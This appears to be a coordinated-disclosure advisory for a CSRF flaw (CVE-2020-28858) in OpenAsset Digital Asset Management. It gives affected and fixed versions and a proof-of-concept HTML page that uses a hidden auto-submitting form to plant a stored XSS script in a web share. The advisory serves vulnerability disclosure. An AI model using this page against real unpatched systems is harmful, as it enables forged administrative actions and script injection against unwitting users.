Vulmon
Title: Cross-site request forgery (CSRF)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.26 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28858
Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au
Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication
1. Vulnerability Description
The OpenAsset Digital Asset Management web application was vulnerable to cross-site request forgery because it did not
verify whether a request made to itself was intentionally made by the user. All actions performed by the user's
navigating the site, including all administrative user actions were found to be vulnerable.
2. PoC
While all endpoints are vulnerable, the best attack involves using the web share functionality, to introduce a stored
XSS through CSRF. The web shares are shared with third parties by application users. To perform the attack, the
following HTML page can be hosted on an attacker controlled site:
<html>
<body>
CSRF / Stored XSS Attack Demo - WebShares
<iframe src="https://target-site.com/404page/123"; name="targetFrame" style="display:none">
</iframe>
<form id="myEvilForm" name="submit" action="https://target-site.com/AJAXPage/EditDownload"; target="targetFrame"
method="POST" style="display:none">
<input type="text" name="code" value="CODE GOES
HERE"><br/>
<input type="text" name="name" value="Test&lt;script&gt;alert(&quot;CSRF and XSS
attack!&quot;);&lt;/script&gt;"><br/>
<input type="text" name="description" value="SharedFolder"><br/>
<input type="text" name="expires" value="1"><br/>
<input type="text" name="expiryDate" value="12-12-2030"><br/>
<input type="text" name="maximumDownloads" value=""><br/>
<input type="text" name="notifyEveryDownload" value="1"><br/>
<input type="text" name="alive" value="on"><br/>
<input type="text" name="action" value="submit"><br/>
<input type="submit" value="Submit"><br/>
</form>
</body>
<script>
alert("Ready to submit CSRF attack.");
myEvilForm.submit();
alert("Done.");
</script>
</html>
The code value must be replaced with the appropriate web share code - this is acquired when the web share is sent to
the unauthenticated third parties. The attacker only needs to convince the user who sent the original web share
information out to visit the example site.
3. Solution
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the
vendor has already updated it.
4. Advisory URL
https://www.themissinglink.com.au/security-advisories
Jack Misiura
Application Security Consultant
a
9‑11 Dickson Avenue
Artarmon
NSW
2064
p
1300 865 865
os
+61 2 8436 8585
w
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